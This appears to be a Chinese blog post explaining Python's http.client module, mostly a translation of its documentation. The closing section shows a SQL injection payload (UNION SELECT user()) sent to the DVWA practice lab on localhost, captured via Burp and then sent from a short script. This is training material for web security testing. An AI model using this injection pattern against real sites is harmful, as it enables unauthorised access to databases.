python http.client

为什么要写这个模块的说明, 是因为, 搞web安全测试, 要进行很多基于客户端的动作,而它(http.client)里定义了http和https的类, 所以今天才要写写它。

很多人可能都不认识它, 如果要说httplib可能就知道了, python3下的http.client就是python2下的httplib, 跟它对等的还有requests, 只不过后者是第三方的而已。

它里面提供了这些类

>>> dir(http.client)
['ACCEPTED', 'BAD_GATEWAY', 'BAD_REQUEST', 'BadStatusLine', 'CONFLICT', 'CONTINUE', 'CREATED', 'CannotSendHeader', 'CannotSendRequest', 'EXPECTATION_FAILED', 'FAILED_DEPENDENCY', 'FORBIDDEN', 'FOUND', 'GATEWAY_TIMEOUT', 'GONE', 'HTTPConnection', 'HTTPException', 'HTTPMessage', 'HTTPResponse', 'HTTPSConnection', 'HTTPS_PORT', 'HTTP_PORT', 'HTTP_VERSION_NOT_SUPPORTED', 'IM_USED', 'INSUFFICIENT_STORAGE', 'INTERNAL_SERVER_ERROR', 'ImproperConnectionState', 'IncompleteRead', 'InvalidURL', 'LENGTH_REQUIRED', 'LOCKED', 'LineTooLong', 'MAXAMOUNT', 'METHOD_NOT_ALLOWED', 'MOVED_PERMANENTLY', 'MULTIPLE_CHOICES', 'MULTI_STATUS', 'NETWORK_AUTHENTICATION_REQUIRED', 'NON_AUTHORITATIVE_INFORMATION', 'NOT_ACCEPTABLE', 'NOT_EXTENDED', 'NOT_FOUND', 'NOT_IMPLEMENTED', 'NOT_MODIFIED', 'NO_CONTENT', 'NotConnected', 'OK', 'PARTIAL_CONTENT', 'PAYMENT_REQUIRED', 'PRECONDITION_FAILED', 'PRECONDITION_REQUIRED', 'PROCESSING', 'PROXY_AUTHENTICATION_REQUIRED', 'REQUESTED_RANGE_NOT_SATISFIABLE', 'REQUEST_ENTITY_TOO_LARGE', 'REQUEST_HEADER_FIELDS_TOO_LARGE', 'REQUEST_TIMEOUT', 'REQUEST_URI_TOO_LONG', 'RESET_CONTENT', 'ResponseNotReady', 'SEE_OTHER', 'SERVICE_UNAVAILABLE', 'SWITCHING_PROTOCOLS', 'TEMPORARY_REDIRECT', 'TOO_MANY_REQUESTS', 'UNAUTHORIZED', 'UNPROCESSABLE_ENTITY', 'UNSUPPORTED_MEDIA_TYPE', 'UPGRADE_REQUIRED', 'USE_PROXY', 'UnimplementedFileMode', 'UnknownProtocol', 'UnknownTransferEncoding', '_CS_IDLE', '_CS_REQ_SENT', '_CS_REQ_STARTED', '_MAXHEADERS', '_MAXLINE', '_UNKNOWN', '__all__', '__builtins__', '__cached__', '__doc__', '__file__', '__initializing__', '__loader__', '__name__', '__package__', '_strict_sentinel', 'collections', 'email', 'error', 'io', 'os', 'parse_headers', 'responses', 'socket', 'ssl', 'urlsplit', 'warnings']
>>>

比如我们要查看一个类中已定义的方法就可以这样

>>> dir(http.client.HTTPConnection)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_http_vsn', '_http_vsn_str', '_output', '_send_output', '_send_request', '_set_content_length', '_set_hostport', '_tunnel', 'auto_open', 'close', 'connect', 'debuglevel', 'default_port', 'endheaders', 'getresponse', 'putheader', 'putrequest', 'request', 'response_class', 'send', 'set_debuglevel', 'set_tunnel']
>>>

创建一个连接到主机的示例

h = http.client.HTTPConnection('127.0.0.1',timeout=12)

返回方法

HTTPResponse.read([amt]) 读取响应返回内容主体
Reads and returns the response body, or up to the next amt bytes.

HTTPResponse.readinto(b) 返回字节数
Reads up to the next len(b) bytes of the response body into the buffer b. Returns the number of bytes read.
New in version 3.3.

HTTPResponse.getheader(name, default=None) 返回header或者默认名
Return the value of the header name, or default if there is no header matching name. If there is more than one header with the name name, return all of the values joined by ‘, ‘. If ‘default’ is any iterable other than a single string, its elements are similarly returned joined by commas.

HTTPResponse.getheaders() 返回一个header元组
Return a list of (header, value) tuples.

HTTPResponse.fileno() 返回底层的socket文件编号
Return the fileno of the underlying socket.

HTTPResponse.msg 返回一个message实例
A http.client.HTTPMessage instance containing the response headers. http.client.HTTPMessage is a subclass of email.message.Message.

HTTPResponse.version 返回服务器所用的http协议版本
HTTP protocol version used by server. 10 for HTTP/1.0, 11 for HTTP/1.1.

HTTPResponse.status 返回状态类型,如果成功就是200
Status code returned by server.

HTTPResponse.reason 返回状态,如果成功就是一个OK
Reason phrase returned by server.

HTTPResponse.debuglevel 调试钩子
A debugging hook. If debuglevel is greater than zero, messages will be printed to stdout as the response is read and parsed.

HTTPResponse.closed 关闭对象
Is True if the stream is closed.

我们结合web安全测试平台DVWA做一下测试

因为DVWA在消息头里定义了一些关键信息, 比如安全等级, 所以我们进行request之前也要定义一下它的header, 和requests里一样, 在http.client里定义header也是以{”:”} 字典key,value形式进行的, 先用burpsuite抓包一下header, 结果如下

GET /vulnerabilities/sqli/?id=%27union+select+user%28%29%2Cnull%23&Submit=Submit HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=alcc9c9p74e8o105tcoobrctl0; security=low

这太多了, 所以我就发到了repeater里, 尝试看看删除部分还能否请求正常,最后精简后依然可以请求正常的header如下

 GET /vulnerabilities/sqli/?id=%27union+select+user%28%29%2Cnull%23&Submit=Submit HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=alcc9c9p74e8o105tcoobrctl0; security=low

现在我们标识符和触点都有了, 所以可以进行下一步了

一个利用http.client概念化验证sql注入的例子

import http.client
headers = {'Host':'127.0.0.1','User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36','Accept-Language':'zh-CN,zh;q=0.8','Cookie':'PHPSESSID=alcc9c9p74e8o105tcoobrctl0; security=low'}
conn=http.client.HTTPConnection('127.0.0.1',timeout=10)
conn.request(method='GET',url='/vulnerabilities/sqli/?id=%27union+select+user%28%29%2Cnull%23&Submit=Submit',headers=headers)
resp = conn.getresponse()
html_doc = resp.read()
conn.close()

首先定义一个header, 如果不定义没法识别请求, 然后使用HttpConnection方法创建一个连接到127.0.0.1的对象, 可以使用,加个默认的80端口, 也可以在”内使用:加, 那个timeout也是象征意义的, 如果遇到了防火墙, 加个这个可以过。完事以后, 使用request方法请求我们的触点, 后面使用headers定义一个header, 再然后使用对象.getresponse方法获取一个类, 然后使用类.read方法读取响应主体内容, 最后关闭连接对象。

此条目发表在python分类目录,贴了, , , 标签。将固定链接加入收藏夹。